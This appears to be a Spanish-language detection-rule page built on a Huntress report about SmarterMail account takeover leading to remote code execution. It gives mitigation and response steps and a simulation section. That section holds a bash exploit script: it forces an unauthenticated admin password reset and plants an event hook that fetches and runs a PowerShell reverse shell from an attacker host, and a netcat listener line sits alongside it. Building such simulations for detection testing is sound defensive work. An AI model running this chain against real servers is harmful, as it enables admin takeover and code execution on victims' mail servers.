DE&TH a las Vulnerabilidades: Huntress Detecta Toma de Cuenta de SmarterMail que Conduce a Ejecución Remota de Código
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Huntress observó abuso en la naturaleza de dos fallos de SmarterMail que permiten la toma de control de cuentas privilegiadas y, en última instancia, la ejecución remota de código. Los atacantes inician flujos de restablecimiento de contraseña no autenticados para obtener un token privilegiado, y luego abusan de los ‘eventos del sistema’ de SmarterMail para ejecutar comandos para el reconocimiento del host. La actividad impactó a múltiples clientes y mostró signos de explotación amplia y automatizada a gran escala.
Investigación
Los analistas de Huntress reconstruyeron una secuencia consistente de solicitudes HTTP POST contra los puntos finales del API de SmarterMail que se utilizan para desencadenar restablecimientos de contraseña, autenticar, configurar eventos del sistema, agregar dominios controlados por atacantes y, más tarde, eliminar rastros. La cadena apunta a CVE-2026-23760 (toma de control de cuenta privilegiada) y CVE-2025-52691 (carga de archivo arbitraria). Las solicitudes usaban comúnmente el agente de usuario python-requests/2.32.4, y los operadores dejaron archivos result.txt que contenían la salida de reconocimiento de los comandos ejecutados.
Mitigación
Actualice SmarterMail a la compilación 9511 o posterior para abordar ambos CVEs. Revise y restrinja la exposición del API, deshabilite o restrinja los eventos del sistema innecesarios, y monitoree la actividad anómala del API que altera cuentas, eventos o dominios. Identifique y elimine cualquier evento del sistema y dominio creado por atacantes para eliminar la persistencia.
Respuesta
Busque el patrón de llamadas API sospechoso y el agente de usuario python-requests/2.32.4, bloquee las IPs de origen ofensivas y elimine los eventos del sistema maliciosos. Rote inmediatamente las credenciales privilegiadas. Realice forense de puntos finales para localizar result.txt y verificar si se prepararon cargas adicionales. Notifique a los usuarios/clientes afectados y proporcione una guía de remediación clara.
Flujo de Ataque
Detecciones
Posible intento de explotación de CVE-2026-23760 (SmarterMail) a través del servidor web
Ver
IOCs (DestinoIP) para detectar: DE&TH a Vulnerabilidades: Huntress Detecta Control de Cuenta SmarterMail que Lleva a RCE Parte 2
Ver
IOCs (DestinoIP) para detectar: DE&TH a Vulnerabilidades: Huntress Detecta Control de Cuenta SmarterMail que Lleva a RCE Parte 1
Ver
IOCs (OrigenIP) para detectar: DE&TH a Vulnerabilidades: Huntress Detecta Control de Cuenta SmarterMail que Lleva a RCE Parte 1
Ver
IOCs (OrigenIP) para detectar: DE&TH a Vulnerabilidades: Huntress Detecta Control de Cuenta SmarterMail que Lleva a RCE Parte 2
Ver
Control de Cuenta SmarterMail que Lleva a RCE [Servidor Web]
Ver
Ejecución de Simulación
Requisito previo: El chequeo pre-vuelo de Telemetría y Línea Base debe haber pasado.
Narrativa de Ataque y Comandos
- Reconocimiento: El atacante descubre que la instancia de SmarterMail ejecuta una versión vulnerable a CVE‑2026‑23760.
- Forzar Restablecimiento de Contraseña (T1098): Usando el
punto final de restablecimiento de contraseña forzadopara establecer una contraseña conocida para elcuenta de administradorprivilegiada. - Autenticar (T1078): Inicie sesión con las credenciales recién establecidas a través del
punto final de autenticar-usuarioobteniendo un token de sesión. - Desplegar Hook de Evento Malicioso (T1569): POST un payload JSON elaborado a
event-hookque apunta a una shell inversa de PowerShell alojada en el servidor del atacante. - Ejecutar Ok/Ok ejecutar: El hook de evento corre automáticamente en el servidor web, generando una shell inversa para el atacante.
- Limpieza: Elimine el hook malicioso a través del
punto final de eliminación de hook de evento(excluido de la detección).
Todos los pasos generan eventos HTTP POST que coinciden con los criterios de selección de la regla Sigma. selección
Script de Prueba de Regresión
#!/usr/bin/env bash
# -------------------------------------------------
# Simulación de Control de Cuenta SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. Forzar restablecimiento de contraseña (no autenticado)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. Autenticar y capturar token de sesión
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. Desplegar hook de evento malicioso (RCE)
PAYLOAD=$(cat <<EOF
{
"event":"mail-received",
"command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook"
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d "${PAYLOAD}"
echo "[+] Hook de evento malicioso desplegado. Esperando shell inversa..."
# 4. (Opcional) Esperar shell inversa – el atacante ejecuta el oyente por separado:
# nc -lvnp ${ATTACKER_PORT}
# 5. Limpieza – eliminar el hook (excluido de la detección)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
Comandos de Limpieza
#!/usr/bin/env bash
# Eliminar cualquier hook malicioso residual y restablecer la contraseña del administrador
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# Autenticar con la contraseña segura (si se conoce) o usar el token anterior
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# Eliminar el hook de evento malicioso (si aún está presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# Restablecer la contraseña del administrador a un valor conocido
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"